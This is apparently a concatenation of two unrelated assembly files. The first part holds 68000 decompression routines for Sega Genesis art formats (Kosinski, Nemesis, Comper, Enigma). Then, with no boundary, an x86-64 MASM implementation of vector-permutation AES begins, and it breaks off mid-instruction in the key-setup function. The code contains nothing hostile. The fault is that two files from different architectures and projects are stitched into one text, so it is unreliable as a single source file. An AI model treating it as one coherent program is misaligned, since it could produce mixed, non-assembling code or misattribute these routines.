_Kos_RunBitStream if _Kos_ExtremeUnrolling=1 _Kos_ReadBit bcs.w .Code_01 ; Code 00 (Dictionary ref. short). _Kos_RunBitStream _Kos_ReadBit bcs.s .Copy45 _Kos_RunBitStream _Kos_ReadBit bcs.s .Copy3 _Kos_RunBitStream move.b (a0)+,d5 ; d5 = displacement. adda.w d5,a5 move.b (a5)+,(a1)+ move.b (a5)+,(a1)+ bra.s .FetchNewCode ; --------------------------------------------------------------------------- .Copy3: _Kos_RunBitStream move.b (a0)+,d5 ; d5 = displacement. adda.w d5,a5 move.b (a5)+,(a1)+ move.b (a5)+,(a1)+ move.b (a5)+,(a1)+ bra.w .FetchNewCode ; --------------------------------------------------------------------------- .Copy45: _Kos_RunBitStream _Kos_ReadBit bcs.s .Copy5 _Kos_RunBitStream move.b (a0)+,d5 ; d5 = displacement. adda.w d5,a5 move.b (a5)+,(a1)+ move.b (a5)+,(a1)+ move.b (a5)+,(a1)+ move.b (a5)+,(a1)+ bra.w .FetchNewCode ; --------------------------------------------------------------------------- .Copy5: _Kos_RunBitStream move.b (a0)+,d5 ; d5 = displacement. adda.w d5,a5 move.b (a5)+,(a1)+ move.b (a5)+,(a1)+ move.b (a5)+,(a1)+ move.b (a5)+,(a1)+ move.b (a5)+,(a1)+ bra.w .FetchNewCode ; --------------------------------------------------------------------------- else moveq #0,d4 ; d4 will contain copy count. _Kos_ReadBit bcs.s .Code_01 ; Code 00 (Dictionary ref. short). _Kos_RunBitStream _Kos_ReadBit addx.w d4,d4 _Kos_RunBitStream _Kos_ReadBit addx.w d4,d4 _Kos_RunBitStream move.b (a0)+,d5 ; d5 = displacement. .StreamCopy: adda.w d5,a5 move.b (a5)+,(a1)+ ; Do 1 extra copy (to compensate +1 to copy counter). .copy: move.b (a5)+,(a1)+ dbra d4,.copy bra.w .FetchNewCode endif ; --------------------------------------------------------------------------- .Code_01: moveq #0,d4 ; d4 will contain copy count. ; Code 01 (Dictionary ref. long / special). _Kos_RunBitStream move.b (a0)+,d6 ; d6 = %LLLLLLLL. move.b (a0)+,d4 ; d4 = %HHHHHCCC. move.b d4,d5 ; d5 = %11111111 HHHHHCCC. lsl.w #5,d5 ; d5 = %111HHHHH CCC00000. move.b d6,d5 ; d5 = %111HHHHH LLLLLLLL. if _Kos_LoopUnroll=3 and.w d7,d4 ; d4 = %00000CCC. else andi.w #7,d4 endif bne.s .StreamCopy ; if CCC=0, branch. ; special mode (extended counter) move.b (a0)+,d4 ; Read cnt beq.s .Quit ; If cnt=0, quit decompression. subq.b #1,d4 beq.w .FetchNewCode ; If cnt=1, fetch a new code. adda.w d5,a5 move.b (a5)+,(a1)+ ; Do 1 extra copy (to compensate +1 to copy counter). move.w d4,d6 not.w d6 and.w d7,d6 add.w d6,d6 lsr.w #_Kos_LoopUnroll,d4 jmp .largecopy(pc,d6.w) ; --------------------------------------------------------------------------- .largecopy: rept (1<<_Kos_LoopUnroll) move.b (a5)+,(a1)+ endr dbra d4,.largecopy bra.w .FetchNewCode ; --------------------------------------------------------------------------- if _Kos_ExtremeUnrolling=1 .StreamCopy: adda.w d5,a5 move.b (a5)+,(a1)+ ; Do 1 extra copy (to compensate +1 to copy counter). if _Kos_LoopUnroll=3 eor.w d7,d4 else eori.w #7,d4 endif add.w d4,d4 jmp .mediumcopy(pc,d4.w) ; --------------------------------------------------------------------------- .mediumcopy: rept 8 move.b (a5)+,(a1)+ endr bra.w .FetchNewCode endif ; --------------------------------------------------------------------------- .Quit: rts ; End of function KosDec. ; =========================================================================== if _Kos_UseLUT=1 KosDec_ByteMap: dc.b $00,$80,$40,$C0,$20,$A0,$60,$E0,$10,$90,$50,$D0,$30,$B0,$70,$F0 dc.b $08,$88,$48,$C8,$28,$A8,$68,$E8,$18,$98,$58,$D8,$38,$B8,$78,$F8 dc.b $04,$84,$44,$C4,$24,$A4,$64,$E4,$14,$94,$54,$D4,$34,$B4,$74,$F4 dc.b $0C,$8C,$4C,$CC,$2C,$AC,$6C,$EC,$1C,$9C,$5C,$DC,$3C,$BC,$7C,$FC dc.b $02,$82,$42,$C2,$22,$A2,$62,$E2,$12,$92,$52,$D2,$32,$B2,$72,$F2 dc.b $0A,$8A,$4A,$CA,$2A,$AA,$6A,$EA,$1A,$9A,$5A,$DA,$3A,$BA,$7A,$FA dc.b $06,$86,$46,$C6,$26,$A6,$66,$E6,$16,$96,$56,$D6,$36,$B6,$76,$F6 dc.b $0E,$8E,$4E,$CE,$2E,$AE,$6E,$EE,$1E,$9E,$5E,$DE,$3E,$BE,$7E,$FE dc.b $01,$81,$41,$C1,$21,$A1,$61,$E1,$11,$91,$51,$D1,$31,$B1,$71,$F1 dc.b $09,$89,$49,$C9,$29,$A9,$69,$E9,$19,$99,$59,$D9,$39,$B9,$79,$F9 dc.b $05,$85,$45,$C5,$25,$A5,$65,$E5,$15,$95,$55,$D5,$35,$B5,$75,$F5 dc.b $0D,$8D,$4D,$CD,$2D,$AD,$6D,$ED,$1D,$9D,$5D,$DD,$3D,$BD,$7D,$FD dc.b $03,$83,$43,$C3,$23,$A3,$63,$E3,$13,$93,$53,$D3,$33,$B3,$73,$F3 dc.b $0B,$8B,$4B,$CB,$2B,$AB,$6B,$EB,$1B,$9B,$5B,$DB,$3B,$BB,$7B,$FB dc.b $07,$87,$47,$C7,$27,$A7,$67,$E7,$17,$97,$57,$D7,$37,$B7,$77,$F7 dc.b $0F,$8F,$4F,$CF,$2F,$AF,$6F,$EF,$1F,$9F,$5F,$DF,$3F,$BF,$7F,$FF endif ; =========================================================================== ; ============================================================================== ; ------------------------------------------------------------------------------ ; Nemesis decompression routine ; ------------------------------------------------------------------------------ ; Optimized by vladikcomper ; ------------------------------------------------------------------------------ NemDec_RAM: lea NemDec_WriteRowToRAM(pc),a3 NemDec_Main: lea Buffer+$3000,a1 ; load Nemesis decompression buffer move.w (a0)+,d2 ; get number of patterns bpl.s .0 ; are we in Mode 0? lea $A(a3),a3 ; if not, use Mode 1 .0 lsl.w #3,d2 movea.w d2,a5 moveq #7,d3 moveq #0,d2 moveq #0,d4 bsr.w NemDec4 move.b (a0)+,d5 ; get first byte of compressed data asl.w #8,d5 ; shift up by a byte move.b (a0)+,d5 ; get second byte of compressed data move.w #$10,d6 ; set initial shift value bsr.s NemDec2 rts ; --------------------------------------------------------------------------- ; Part of the Nemesis decompressor, processes the actual compressed data ; --------------------------------------------------------------------------- NemDec2: move.w d6,d7 subq.w #8,d7 ; get shift value move.w d5,d1 lsr.w d7,d1 ; shift so that high bit of the code is in bit position 7 cmpi.b #%11111100,d1 ; are the high 6 bits set? bcc.s NemDec_InlineData ; if they are, it signifies inline data andi.w #$FF,d1 add.w d1,d1 sub.b (a1,d1.w),d6 ; ~~ subtract from shift value so that the next code is read next time around cmpi.w #9,d6 ; does a new byte need to be read? bcc.s .0 ; if not, branch addq.w #8,d6 asl.w #8,d5 move.b (a0)+,d5 ; read next byte .0 move.b 1(a1,d1.w),d1 move.w d1,d0 andi.w #$F,d1 ; get palette index for pixel andi.w #$F0,d0 NemDec_GetRepeatCount: lsr.w #4,d0 ; get repeat count NemDec_WritePixel: lsl.l #4,d4 ; shift up by a nybble or.b d1,d4 ; write pixel dbf d3,NemDec_WritePixelLoop; ~~ jmp (a3) ; otherwise, write the row to its destination ; --------------------------------------------------------------------------- NemDec3: moveq #0,d4 ; reset row moveq #7,d3 ; reset nybble counter NemDec_WritePixelLoop: dbf d0,NemDec_WritePixel bra.s NemDec2 ; --------------------------------------------------------------------------- NemDec_InlineData: subq.w #6,d6 ; 6 bits needed to signal inline data cmpi.w #9,d6 bcc.s .0 addq.w #8,d6 asl.w #8,d5 move.b (a0)+,d5 .0 subq.w #7,d6 ; and 7 bits needed for the inline data itself move.w d5,d1 lsr.w d6,d1 ; shift so that low bit of the code is in bit position 0 move.w d1,d0 andi.w #$F,d1 ; get palette index for pixel andi.w #$70,d0 ; high nybble is repeat count for pixel cmpi.w #9,d6 bcc.s NemDec_GetRepeatCount addq.w #8,d6 asl.w #8,d5 move.b (a0)+,d5 bra.s NemDec_GetRepeatCount ; --------------------------------------------------------------------------- ; Subroutines to output decompressed entry ; Selected depending on current decompression mode ; --------------------------------------------------------------------------- NemDec_WriteRowToVDP: loc_1502: move.l d4,(a4) ; write 8-pixel row subq.w #1,a5 move.w a5,d4 ; have all the 8-pixel rows been written? bne.s NemDec3 ; if not, branch rts ; --------------------------------------------------------------------------- NemDec_WriteRowToVDP_XOR: eor.l d4,d2 ; XOR the previous row by the current row move.l d2,(a4) ; and write the result subq.w #1,a5 move.w a5,d4 bne.s NemDec3 rts ; --------------------------------------------------------------------------- NemDec_WriteRowToRAM: move.l d4,(a4)+ ; write 8-pixel row subq.w #1,a5 move.w a5,d4 ; have all the 8-pixel rows been written? bne.s NemDec3 ; if not, branch rts ; --------------------------------------------------------------------------- NemDec_WriteRowToRAM_XOR: eor.l d4,d2 ; XOR the previous row by the current row move.l d2,(a4)+ ; and write the result subq.w #1,a5 move.w a5,d4 bne.s NemDec3 rts ; --------------------------------------------------------------------------- ; Part of the Nemesis decompressor, builds the code table (in RAM) ; --------------------------------------------------------------------------- NemDec4: move.b (a0)+,d0 ; read first byte .ChkEnd: cmpi.b #$FF,d0 ; has the end of the code table description been reached? bne.s .NewPalIndex ; if not, branch rts ; --------------------------------------------------------------------------- .NewPalIndex: move.w d0,d7 .ItemLoop: move.b (a0)+,d0 ; read next byte bmi.s .ChkEnd ; ~~ move.b d0,d1 andi.w #$F,d7 ; get palette index andi.w #$70,d1 ; get repeat count for palette index or.w d1,d7 ; combine the two andi.w #$F,d0 ; get the length of the code in bits move.b d0,d1 lsl.w #8,d1 or.w d1,d7 ; combine with palette index and repeat count to form code table entry moveq #8,d1 sub.w d0,d1 ; is the code 8 bits long? bne.s .ItemShortCode ; if not, a bit of extra processing is needed move.b (a0)+,d0 ; get code add.w d0,d0 ; each code gets a word-sized entry in the table move.w d7,(a1,d0.w) ; store the entry for the code bra.s .ItemLoop ; repeat ; --------------------------------------------------------------------------- .ItemShortCode: move.b (a0)+,d0 ; get code lsl.w d1,d0 ; shift so that high bit is in bit position 7 add.w d0,d0 ; get index into code table moveq #1,d5 lsl.w d1,d5 subq.w #1,d5 ; d5 = 2^d1 - 1 lea (a1,d0.w),a6 ; ~~ .ItemShortCodeLoop: move.w d7,(a6)+ ; ~~ store entry dbf d5,.ItemShortCodeLoop ; repeat for required number of entries bra.s .ItemLoop ; =============================================================== ; --------------------------------------------------------------- ; COMPER Decompressor ; --------------------------------------------------------------- ; INPUT: ; a0 - Source Offset ; a1 - Destination Offset ; --------------------------------------------------------------- CompDec: .newblock move.w (a0)+,d0 ; fetch description field moveq #15,d3 ; set bits counter to 16 .mainloop add.w d0,d0 ; roll description field bcs.s .flag ; if a flag issued, branch move.w (a0)+,(a1)+ ; otherwise, do uncompressed data dbf d3,.mainloop ; if bits counter remains, parse the next word bra.s .newblock ; start a new block ; --------------------------------------------------------------- .flag moveq #-1,d1 ; init displacement move.b (a0)+,d1 ; load displacement add.w d1,d1 moveq #0,d2 ; init copy count move.b (a0)+,d2 ; load copy length beq.s .end ; if zero, branch lea (a1,d1),a2 ; load start copy address .loop move.w (a2)+,(a1)+ ; copy given sequence dbf d2,.loop ; repeat dbf d3,.mainloop ; if bits counter remains, parse the next word bra.s .newblock ; start a new block .end rts ; --------------------------------------------------------------------------- ; Enigma decompression algorithm ; input: ; d0 = starting art tile (added to each 8x8 before writing to destination) ; a0 = source address ; a1 = destination address ; usage: ; lea (source).l,a0 ; lea (destination).l,a1 ; move.w #arttile,d0 ; bsr.w EniDec ; See http://www.segaretro.org/Enigma_compression for format description ; --------------------------------------------------------------------------- EniDec: movea.w d0,a3 ; store starting art tile move.b (a0)+,d0 ext.w d0 movea.w d0,a5 ; store number of bits in inline copy value move.b (a0)+,d4 lsl.b #3,d4 ; store PCCVH flags bitfield movea.w (a0)+,a2 adda.w a3,a2 ; store incremental copy word movea.w (a0)+,a4 adda.w a3,a4 ; store literal copy word move.b (a0)+,d5 asl.w #8,d5 move.b (a0)+,d5 ; get first word in format list moveq #16,d6 ; initial shift value ; loc_173E: Eni_Loop: moveq #7,d0 ; assume a format list entry is 7 bits move.w d6,d7 sub.w d0,d7 move.w d5,d1 lsr.w d7,d1 andi.w #$7F,d1 ; get format list entry move.w d1,d2 ; and copy it cmpi.w #$40,d1 ; is the high bit of the entry set? bhs.s .sevenbitentry moveq #6,d0 ; if it isn't, the entry is actually 6 bits lsr.w #1,d2 ; loc_1758: .sevenbitentry: bsr.w EniDec_FetchByte andi.w #$F,d2 ; get repeat count lsr.w #4,d1 add.w d1,d1 jmp EniDec_Index(pc,d1.w) ; End of function EniDec ; =========================================================================== ; loc_1768: EniDec_00: .loop: move.w a2,(a1)+ ; copy incremental copy word addq.w #1,a2 ; increment it dbf d2,.loop ; repeat bra.s Eni_Loop ; =========================================================================== ; loc_1772: EniDec_01: .loop: move.w a4,(a1)+ ; copy literal copy word dbf d2,.loop ; repeat bra.s Eni_Loop ; =========================================================================== ; loc_177A: EniDec_100: bsr.w EniDec_FetchInlineValue ; loc_177E: .loop: move.w d1,(a1)+ ; copy inline value dbf d2,.loop ; repeat bra.s Eni_Loop ; =========================================================================== ; loc_1786: EniDec_101: bsr.w EniDec_FetchInlineValue ; loc_178A: .loop: move.w d1,(a1)+ ; copy inline value addq.w #1,d1 ; increment dbf d2,.loop ; repeat bra.s Eni_Loop ; =========================================================================== ; loc_1794: EniDec_110: bsr.w EniDec_FetchInlineValue ; loc_1798: .loop: move.w d1,(a1)+ ; copy inline value subq.w #1,d1 ; decrement dbf d2,.loop ; repeat bra.s Eni_Loop ; =========================================================================== ; loc_17A2: EniDec_111: cmpi.w #$F,d2 beq.s EniDec_Done ; loc_17A8: .loop: bsr.w EniDec_FetchInlineValue ; fetch new inline value move.w d1,(a1)+ ; copy it dbf d2,.loop ; and repeat bra.s Eni_Loop ; =========================================================================== ; loc_17B4: EniDec_Index: bra.s EniDec_00 bra.s EniDec_00 bra.s EniDec_01 bra.s EniDec_01 bra.s EniDec_100 bra.s EniDec_101 bra.s EniDec_110 bra.s EniDec_111 ; =========================================================================== ; loc_17C4: EniDec_Done: subq.w #1,a0 ; go back by one byte cmpi.w #16,d6 ; were we going to start on a completely new byte? bne.s .notnewbyte ; if not, branch subq.w #1,a0 ; and another one if needed ; loc_17CE: .notnewbyte: move.w a0,d0 lsr.w #1,d0 ; are we on an odd byte? bcc.s .evenbyte ; if not, branch addq.w #1,a0 ; ensure we're on an even byte ; loc_17D6: .evenbyte: rts ; --------------------------------------------------------------------------- ; Part of the Enigma decompressor ; Fetches an inline copy value and stores it in d1 ; --------------------------------------------------------------------------- ; loc_17DC: EniDec_FetchInlineValue: move.w a3,d3 ; copy starting art tile move.b d4,d1 ; copy PCCVH bitfield add.b d1,d1 ; is the priority bit set? bcc.s .skippriority ; if not, branch subq.w #1,d6 btst d6,d5 ; is the priority bit set in the inline render flags? beq.s .skippriority ; if not, branch ori.w #$8000,d3 ; otherwise set priority bit in art tile ; loc_17EE: .skippriority: add.b d1,d1 ; is the high palette line bit set? bcc.s .skiphighpal ; if not, branch subq.w #1,d6 btst d6,d5 beq.s .skiphighpal addi.w #$4000,d3 ; set second palette line bit ; loc_17FC: .skiphighpal: add.b d1,d1 ; is the low palette line bit set? bcc.s .skiplowpal ; if not, branch subq.w #1,d6 btst d6,d5 beq.s .skiplowpal addi.w #$2000,d3 ; set first palette line bit ; loc_180A: .skiplowpal: add.b d1,d1 ; is the vertical flip flag set? bcc.s .skipyflip ; if not, branch subq.w #1,d6 btst d6,d5 beq.s .skipyflip ori.w #$1000,d3 ; set Y-flip bit ; loc_1818: .skipyflip: add.b d1,d1 ; is the horizontal flip flag set? bcc.s .skipxflip ; if not, branch subq.w #1,d6 btst d6,d5 beq.s .skipxflip ori.w #$800,d3 ; set X-flip bit ; loc_1826: .skipxflip: move.w d5,d1 move.w d6,d7 sub.w a5,d7 ; subtract length in bits of inline copy value bcc.s .enoughbits ; branch if a new word doesn't need to be read move.w d7,d6 addi.w #16,d6 neg.w d7 ; calculate bit deficit lsl.w d7,d1 ; and make space for that many bits move.b (a0),d5 ; get next byte rol.b d7,d5 ; and rotate the required bits into the lowest positions add.w d7,d7 and.w EniDec_Masks-2(pc,d7.w),d5 add.w d5,d1 ; combine upper bits with lower bits ; loc_1844: .maskvalue: move.w a5,d0 ; get length in bits of inline copy value add.w d0,d0 and.w EniDec_Masks-2(pc,d0.w),d1 ; mask value appropriately add.w d3,d1 ; add starting art tile move.b (a0)+,d5 lsl.w #8,d5 move.b (a0)+,d5 ; get next word rts ; =========================================================================== ; loc_1856: .enoughbits: beq.s .justenough ; if the word has been exactly exhausted, branch lsr.w d7,d1 ; get inline copy value move.w a5,d0 add.w d0,d0 and.w EniDec_Masks-2(pc,d0.w),d1 ; and mask it appropriately add.w d3,d1 ; add starting art tile move.w a5,d0 bra.s EniDec_FetchByte ; =========================================================================== ; loc_1868: .justenough: moveq #16,d6 ; reset shift value bra.s .maskvalue ; =========================================================================== ; word_186C: EniDec_Masks: dc.w 1, 3, 7, $F dc.w $1F, $3F, $7F, $FF dc.w $1FF, $3FF, $7FF, $FFF dc.w $1FFF,$3FFF,$7FFF,$FFFF ; =========================================================================== ; sub_188C: EniDec_FetchByte: sub.w d0,d6 ; subtract length of current entry from shift value so that next entry is read next time around cmpi.w #9,d6 ; does a new byte need to be read? bhs.s .locret ; if not, branch addq.w #8,d6 asl.w #8,d5 move.b (a0)+,d5 .locret: rts ; End of function EniDec_FetchByte ; ===========================================================================
OPTION DOTNAME .text$ SEGMENT ALIGN(256) 'CODE' ALIGN 16 _vpaes_encrypt_core PROC PRIVATE mov r9,rdx mov r11,16 mov eax,DWORD PTR[240+rdx] movdqa xmm1,xmm9 movdqa xmm2,XMMWORD PTR[$L$k_ipt] pandn xmm1,xmm0 movdqu xmm5,XMMWORD PTR[r9] psrld xmm1,4 pand xmm0,xmm9 DB 102,15,56,0,208 movdqa xmm0,XMMWORD PTR[(($L$k_ipt+16))] DB 102,15,56,0,193 pxor xmm2,xmm5 add r9,16 pxor xmm0,xmm2 lea r10,QWORD PTR[$L$k_mc_backward] jmp $L$enc_entry ALIGN 16 $L$enc_loop:: movdqa xmm4,xmm13 movdqa xmm0,xmm12 DB 102,15,56,0,226 DB 102,15,56,0,195 pxor xmm4,xmm5 movdqa xmm5,xmm15 pxor xmm0,xmm4 movdqa xmm1,XMMWORD PTR[((-64))+r10*1+r11] DB 102,15,56,0,234 movdqa xmm4,XMMWORD PTR[r10*1+r11] movdqa xmm2,xmm14 DB 102,15,56,0,211 movdqa xmm3,xmm0 pxor xmm2,xmm5 DB 102,15,56,0,193 add r9,16 pxor xmm0,xmm2 DB 102,15,56,0,220 add r11,16 pxor xmm3,xmm0 DB 102,15,56,0,193 and r11,030h sub rax,1 pxor xmm0,xmm3 $L$enc_entry:: movdqa xmm1,xmm9 movdqa xmm5,xmm11 pandn xmm1,xmm0 psrld xmm1,4 pand xmm0,xmm9 DB 102,15,56,0,232 movdqa xmm3,xmm10 pxor xmm0,xmm1 DB 102,15,56,0,217 movdqa xmm4,xmm10 pxor xmm3,xmm5 DB 102,15,56,0,224 movdqa xmm2,xmm10 pxor xmm4,xmm5 DB 102,15,56,0,211 movdqa xmm3,xmm10 pxor xmm2,xmm0 DB 102,15,56,0,220 movdqu xmm5,XMMWORD PTR[r9] pxor xmm3,xmm1 jnz $L$enc_loop movdqa xmm4,XMMWORD PTR[((-96))+r10] movdqa xmm0,XMMWORD PTR[((-80))+r10] DB 102,15,56,0,226 pxor xmm4,xmm5 DB 102,15,56,0,195 movdqa xmm1,XMMWORD PTR[64+r10*1+r11] pxor xmm0,xmm4 DB 102,15,56,0,193 DB 0F3h,0C3h ;repret _vpaes_encrypt_core ENDP ALIGN 16 _vpaes_decrypt_core PROC PRIVATE mov r9,rdx mov eax,DWORD PTR[240+rdx] movdqa xmm1,xmm9 movdqa xmm2,XMMWORD PTR[$L$k_dipt] pandn xmm1,xmm0 mov r11,rax psrld xmm1,4 movdqu xmm5,XMMWORD PTR[r9] shl r11,4 pand xmm0,xmm9 DB 102,15,56,0,208 movdqa xmm0,XMMWORD PTR[(($L$k_dipt+16))] xor r11,030h lea r10,QWORD PTR[$L$k_dsbd] DB 102,15,56,0,193 and r11,030h pxor xmm2,xmm5 movdqa xmm5,XMMWORD PTR[(($L$k_mc_forward+48))] pxor xmm0,xmm2 add r9,16 add r11,r10 jmp $L$dec_entry ALIGN 16 $L$dec_loop:: movdqa xmm4,XMMWORD PTR[((-32))+r10] movdqa xmm1,XMMWORD PTR[((-16))+r10] DB 102,15,56,0,226 DB 102,15,56,0,203 pxor xmm0,xmm4 movdqa xmm4,XMMWORD PTR[r10] pxor xmm0,xmm1 movdqa xmm1,XMMWORD PTR[16+r10] DB 102,15,56,0,226 DB 102,15,56,0,197 DB 102,15,56,0,203 pxor xmm0,xmm4 movdqa xmm4,XMMWORD PTR[32+r10] pxor xmm0,xmm1 movdqa xmm1,XMMWORD PTR[48+r10] DB 102,15,56,0,226 DB 102,15,56,0,197 DB 102,15,56,0,203 pxor xmm0,xmm4 movdqa xmm4,XMMWORD PTR[64+r10] pxor xmm0,xmm1 movdqa xmm1,XMMWORD PTR[80+r10] DB 102,15,56,0,226 DB 102,15,56,0,197 DB 102,15,56,0,203 pxor xmm0,xmm4 add r9,16 DB 102,15,58,15,237,12 pxor xmm0,xmm1 sub rax,1 $L$dec_entry:: movdqa xmm1,xmm9 pandn xmm1,xmm0 movdqa xmm2,xmm11 psrld xmm1,4 pand xmm0,xmm9 DB 102,15,56,0,208 movdqa xmm3,xmm10 pxor xmm0,xmm1 DB 102,15,56,0,217 movdqa xmm4,xmm10 pxor xmm3,xmm2 DB 102,15,56,0,224 pxor xmm4,xmm2 movdqa xmm2,xmm10 DB 102,15,56,0,211 movdqa xmm3,xmm10 pxor xmm2,xmm0 DB 102,15,56,0,220 movdqu xmm0,XMMWORD PTR[r9] pxor xmm3,xmm1 jnz $L$dec_loop movdqa xmm4,XMMWORD PTR[96+r10] DB 102,15,56,0,226 pxor xmm4,xmm0 movdqa xmm0,XMMWORD PTR[112+r10] movdqa xmm2,XMMWORD PTR[((-352))+r11] DB 102,15,56,0,195 pxor xmm0,xmm4 DB 102,15,56,0,194 DB 0F3h,0C3h ;repret _vpaes_decrypt_core ENDP ALIGN 16 _vpaes_schedule_core PROC PRIVATE call _vpaes_preheat movdqa xmm8,XMMWORD PTR[$L$k_rcon] movdqu xmm0,XMMWORD PTR[rdi] movdqa xmm3,xmm0 lea r11,QWORD PTR[$L$k_ipt] call _vpaes_schedule_transform movdqa xmm7,xmm0 lea r10,QWORD PTR[$L$k_sr] test rcx,rcx jnz $L$schedule_am_decrypting movdqu XMMWORD PTR[rdx],xmm0 jmp $L$schedule_go $L$schedule_am_decrypting:: movdqa xmm1,XMMWORD PTR[r10*1+r8] DB 102,15,56,0,217 movdqu XMMWORD PTR[rdx],xmm3 xor r8,030h $L$schedule_go:: cmp esi,192 ja $L$schedule_256 je $L$schedule_192 $L$schedule_128:: mov esi,10 $L$oop_schedule_128:: call _vpaes_schedule_round dec rsi jz $L$schedule_mangle_last call _vpaes_schedule_mangle jmp $L$oop_schedule_128 ALIGN 16 $L$schedule_192:: movdqu xmm0,XMMWORD PTR[8+rdi] call _vpaes_schedule_transform movdqa xmm6,xmm0 pxor xmm4,xmm4 movhlps xmm6,xmm4 mov esi,4 $L$oop_schedule_192:: call _vpaes_schedule_round DB 102,15,58,15,198,8 call _vpaes_schedule_mangle call _vpaes_schedule_192_smear call _vpaes_schedule_mangle call _vpaes_schedule_round dec rsi jz $L$schedule_mangle_last call _vpaes_schedule_mangle call _vpaes_schedule_192_smear jmp $L$oop_schedule_192 ALIGN 16 $L$schedule_256:: movdqu xmm0,XMMWORD PTR[16+rdi] call _vpaes_schedule_transform mov esi,7 $L$oop_schedule_256:: call _vpaes_schedule_mangle movdqa xmm6,xmm0 call _vpaes_schedule_round dec rsi jz $L$schedule_mangle_last call _vpaes_schedule_mangle pshufd xmm0,xmm0,0FFh movdqa xmm5,xmm7 movdqa xmm7,xmm6 call _vpaes_schedule_low_round movdqa xmm7,xmm5 jmp $L$oop_schedule_256 ALIGN 16 $L$schedule_mangle_last:: lea r11,QWORD PTR[$L$k_deskew] test rcx,rcx jnz $L$schedule_mangle_last_dec movdqa xmm1,XMMWORD PTR[r10*1+r8] DB 102,15,56,0,193 lea r11,QWORD PTR[$L$k_opt] add rdx,32 $L$schedule_mangle_last_dec:: add rdx,-16 pxor xmm0,XMMWORD PTR[$L$k_s63] call _vpaes_schedule_transform movdqu XMMWORD PTR[rdx],xmm0 pxor xmm0,xmm0 pxor xmm1,xmm1 pxor xmm2,xmm2 pxor xmm3,xmm3 pxor xmm4,xmm4 pxor xmm5,xmm5 pxor xmm6,xmm6 pxor xmm7,xmm7 DB 0F3h,0C3h ;repret _vpaes_schedule_core ENDP ALIGN 16 _vpaes_schedule_192_smear PROC PRIVATE pshufd xmm1,xmm6,080h pshufd xmm0,xmm7,0FEh pxor xmm6,xmm1 pxor xmm1,xmm1 pxor xmm6,xmm0 movdqa xmm0,xmm6 movhlps xmm6,xmm1 DB 0F3h,0C3h ;repret _vpaes_schedule_192_smear ENDP ALIGN 16 _vpaes_schedule_round PROC PRIVATE pxor xmm1,xmm1 DB 102,65,15,58,15,200,15 DB 102,69,15,58,15,192,15 pxor xmm7,xmm1 pshufd xmm0,xmm0,0FFh DB 102,15,58,15,192,1 _vpaes_schedule_low_round:: movdqa xmm1,xmm7 pslldq xmm7,4 pxor xmm7,xmm1 movdqa xmm1,xmm7 pslldq xmm7,8 pxor xmm7,xmm1 pxor xmm7,XMMWORD PTR[$L$k_s63] movdqa xmm1,xmm9 pandn xmm1,xmm0 psrld xmm1,4 pand xmm0,xmm9 movdqa xmm2,xmm11 DB 102,15,56,0,208 pxor xmm0,xmm1 movdqa xmm3,xmm10 DB 102,15,56,0,217 pxor xmm3,xmm2 movdqa xmm4,xmm10 DB 102,15,56,0,224 pxor xmm4,xmm2 movdqa xmm2,xmm10 DB 102,15,56,0,211 pxor xmm2,xmm0 movdqa xmm3,xmm10 DB 102,15,56,0,220 pxor xmm3,xmm1 movdqa xmm4,xmm13 DB 102,15,56,0,226 movdqa xmm0,xmm12 DB 102,15,56,0,195 pxor xmm0,xmm4 pxor xmm0,xmm7 movdqa xmm7,xmm0 DB 0F3h,0C3h ;repret _vpaes_schedule_round ENDP ALIGN 16 _vpaes_schedule_transform PROC PRIVATE movdqa xmm1,xmm9 pandn xmm1,xmm0 psrld xmm1,4 pand xmm0,xmm9 movdqa xmm2,XMMWORD PTR[r11] DB 102,15,56,0,208 movdqa xmm0,XMMWORD PTR[16+r11] DB 102,15,56,0,193 pxor xmm0,xmm2 DB 0F3h,0C3h ;repret _vpaes_schedule_transform ENDP ALIGN 16 _vpaes_schedule_mangle PROC PRIVATE movdqa xmm4,xmm0 movdqa xmm5,XMMWORD PTR[$L$k_mc_forward] test rcx,rcx jnz $L$schedule_mangle_dec add rdx,16 pxor xmm4,XMMWORD PTR[$L$k_s63] DB 102,15,56,0,229 movdqa xmm3,xmm4 DB 102,15,56,0,229 pxor xmm3,xmm4 DB 102,15,56,0,229 pxor xmm3,xmm4 jmp $L$schedule_mangle_both ALIGN 16 $L$schedule_mangle_dec:: lea r11,QWORD PTR[$L$k_dksd] movdqa xmm1,xmm9 pandn xmm1,xmm4 psrld xmm1,4 pand xmm4,xmm9 movdqa xmm2,XMMWORD PTR[r11] DB 102,15,56,0,212 movdqa xmm3,XMMWORD PTR[16+r11] DB 102,15,56,0,217 pxor xmm3,xmm2 DB 102,15,56,0,221 movdqa xmm2,XMMWORD PTR[32+r11] DB 102,15,56,0,212 pxor xmm2,xmm3 movdqa xmm3,XMMWORD PTR[48+r11] DB 102,15,56,0,217 pxor xmm3,xmm2 DB 102,15,56,0,221 movdqa xmm2,XMMWORD PTR[64+r11] DB 102,15,56,0,212 pxor xmm2,xmm3 movdqa xmm3,XMMWORD PTR[80+r11] DB 102,15,56,0,217 pxor xmm3,xmm2 DB 102,15,56,0,221 movdqa xmm2,XMMWORD PTR[96+r11] DB 102,15,56,0,212 pxor xmm2,xmm3 movdqa xmm3,XMMWORD PTR[112+r11] DB 102,15,56,0,217 pxor xmm3,xmm2 add rdx,-16 $L$schedule_mangle_both:: movdqa xmm1,XMMWORD PTR[r10*1+r8] DB 102,15,56,0,217 add r8,-16 and r8,030h movdqu XMMWORD PTR[rdx],xmm3 DB 0F3h,0C3h ;repret _vpaes_schedule_mangle ENDP PUBLIC vpaes_set_encrypt_key ALIGN 16 vpaes_set_encrypt_key PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_vpaes_set_encrypt_key:: mov rdi,rcx mov rsi,rdx mov rdx,r8 lea rsp,QWORD PTR[((-184))+rsp] movaps XMMWORD PTR[16+rsp],xmm6 movaps XMMWORD PTR[32+rsp],xmm7 movaps XMMWORD PTR[48+rsp],xmm8 movaps XMMWORD PTR[64+rsp],xmm9 movaps XMMWORD PTR[80+rsp],xmm10 movaps XMMWORD PTR[96+rsp],xmm11 movaps XMMWORD PTR[112+rsp],xmm12 movaps XMMWORD PTR[128+rsp],xmm13 movaps XMMWORD PTR[144+rsp],xmm14 movaps XMMWORD PTR[160+rsp],xmm15 $L$enc_key_body:: mov eax,esi shr eax,5 add eax,5 mov DWORD PTR[240+rdx],eax mov ecx,0 mov r8d,030h call _vpaes_schedule_core movaps xmm6,XMMWORD PTR[16+rsp] movaps 